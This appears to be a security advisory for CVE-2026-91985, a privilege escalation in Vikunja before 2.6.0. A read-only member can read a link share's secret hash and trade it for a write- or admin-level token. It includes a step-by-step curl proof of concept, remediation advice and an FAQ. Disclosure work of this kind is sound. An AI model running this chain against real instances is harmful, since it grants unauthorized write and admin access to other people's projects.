CVE-2026-91985: Vikunja before 2.6.0 Privilege Escalation via Link Share Hash

Published Sep 15, 2026
·
Updated

Summary

A user who has only read permission on a project can call the single link-share read endpoint and receive the share's hash field — the secret credential that the anonymous POST /shares/{share}/auth endpoint exchanges for a link-share JWT carrying the share's permission (read / read-write / admin). A read-only member can therefore mint a write- or admin-level token for the project and perform writes they are not entitled to, while their own user token is correctly refused. This is the remaining variant of the link-share hash disclosure class: GHSA-8hp8-9fhr-pfm9 fixed the list endpoint (ReadAll now requires project admin) but the single-read endpoint's gate was never aligned. Verified on Vikunja 2.5.0; the weak gate has existed since the endpoint, so earlier versions are likely affected too.

Details

Affected endpoints (both verified with a complete chain):

- v1: GET /api/v1/projects/{project}/shares/{share} - v2: GET /api/v2/projects/{project}/shares/{share}

Permission gate: LinkSharing.CanRead (pkg/models/linksharingpermissions.go) delegates to project.CanRead(s, a) — i.e. any user with read access to the project passes. The response serializes the hash field (pkg/models/linksharing.go, field tag json:"hash"), which is the share's bearer credential. The share password field is correctly cleared before returning, but the hash is not restricted.

Inconsistent with the sibling list endpoint GET /projects/{project}/shares (LinkSharing.ReadAll, pkg/models/linksharing.go:243-256), which requires project.IsAdmin — the protection level the project chose when the class was fixed for the list endpoint in 2.3.0 (GHSA-8hp8). The v1 and v2 APIs share the same model-level gate (the v2 handler.DoReadOne wrappers call the same CanRead), so both surfaces are affected.

Impact chain: hash -> POST /api/v1/shares/{hash}/auth (unauthenticated by design) -> link-share JWT at the share's permission level -> full API access at that level for that project.

Mitigating factors: the attacker must already be a member of the project at read level; password-protected shares (sharingtype=2) still require the password at the auth step; share IDs are small sequential integers and enumerable by members.

PoC

Steps below use two accounts: the owner (token $OWNER) and an attacker who has been granted read-only access to the project (token $READER). All requests were executed against a local Vikunja 2.5.0 instance.

1. Owner creates a private project and a read-write link share (permission=1):

curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $OWNER" \ -H 'Content-Type: application/json' -d '{"title":"poc"}' -> {"id":123,...}

curl -X PUT "$BASE/api/v1/projects/123/shares" -H "Authorization: Bearer $OWNER" \ -H 'Content-Type: application/json' -d '{"name":"poc","permission":1}' -> {"id":7,"hash":"<SECRETHASH>",...}

2. Owner adds the attacker as a read-only member (permission=0):

curl -X PUT "$BASE/api/v1/projects/123/users" -H "Authorization: Bearer $OWNER" \ -H 'Content-Type: application/json' -d '{"username":"attacker","permission":0}'

3. Attacker reads the single share — the weak gate — and receives the hash (this is the disclosure; the list endpoint would correctly return 403 here):

curl "$BASE/api/v1/projects/123/shares/7" -H "Authorization: Bearer $READER" -> 200 {"id":7,"hash":"<SECRETHASH>","permission":1,...} v2 twin behaves identically: curl "$BASE/api/v2/projects/123/shares/7" -H "Authorization: Bearer $READER" -> 200 {"hash":"<SECRETHASH>",...}

4. Attacker exchanges the hash for a link-share JWT (no authentication required):

curl -X POST "$BASE/api/v1/shares/<SECRETHASH>/auth" \ -H 'Content-Type: application/json' -d '{}' -> 200 {"token":"<LINKJWT>",...}

5. Negative control — the attacker's own user token cannot write to the project:

curl -X PUT "$BASE/api/v1/projects/123/tasks" -H "Authorization: Bearer $READER" \ -H 'Content-Type: application/json' -d '{"title":"direct"}' -> 403 Forbidden

6. Escalation proof — the link-share JWT writes successfully:

curl -X PUT "$BASE/api/v1/projects/123/tasks" -H "Authorization: Bearer <LINKJWT>" \ -H 'Content-Type: application/json' -d '{"title":"escalated"}' -> 201 Created

Observed result: steps 3, 4 and 6 all succeed (200 / 200 / 201) while step 5 is refused with 403 — the read-only member has escalated to write access. If the project has an admin-level share (permission=2), the same chain yields project-admin capabilities (member management is still refused for link principals, but project settings, shares of the project, and all write operations become available).

Impact

Broken access control / privilege escalation within shared projects (CWE-862, CWE-639: the link-share hash is a bearer capability disclosed to a lesser-privileged member; CWE-200 for the information exposure). Any read-level member of a project that has a link share can escalate to that share's permission level: write members' tasks/comments can be created and modified; an admin-level share additionally grants project settings and share management for the project. Confidentiality is also affected insofar as the hash itself is the project's shared secret. Suggested fix: require project.IsAdmin in LinkSharing.CanRead (aligning with ReadAll), or omit the hash field from responses to non-admin members.

Other sources

Vikunja before 2.6.0 fails to properly restrict access to the link-share hash field in single-share read endpoints, allowing read-only members to obtain the share's secret credential. Attackers can exchange the disclosed hash for a link-share JWT at the share's permission level to escalate privileges and perform unauthorized writes or administrative actions.

— MITRE

Affected Software

2 affected componentsFixes available
Vikunja Vikunja<2.6.0
go/code.vikunja.io/api<=2.5.0
2.6.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/code.vikunja.io/api to a version that resolves this vulnerability.

    Fixed in 2.6.0
  2. Upgrade

    Upgrade Vikunja to a version that resolves this vulnerability.

    Fixed in 2.6.0

Event History

Sep 15, 2026
CVE Published
via MITRE·03:18 PM
Data Sourced
via MITRE·03:18 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:17 PM
DescriptionSeverityWeakness
Oct 9, 2026
Advisory Published
via GitHub·08:51 PM
Data Sourced
via GitHub·08:51 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Vikunja instances before 2.6.0 are affected where a read-only member can access a single-share read endpoint that exposes a link-share hash. The disclosed hash can be exchanged for a JWT carrying the link share's permission level.

2

What access does an attacker need to exploit it?

An attacker needs read-only membership and access to the affected single-share read endpoint. No separate administrative privileges are required before obtaining the hash.

3

What can an attacker do after obtaining the link-share hash?

They can exchange the hash for a link-share JWT and operate at the permission level assigned to that share. This can enable unauthorized writes or administrative actions when the share grants those permissions.

4

How can I tell whether my deployment is affected?

Deployments running Vikunja before 2.6.0 should be considered affected. Review whether read-only members can retrieve link-share hashes through single-share read endpoints.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203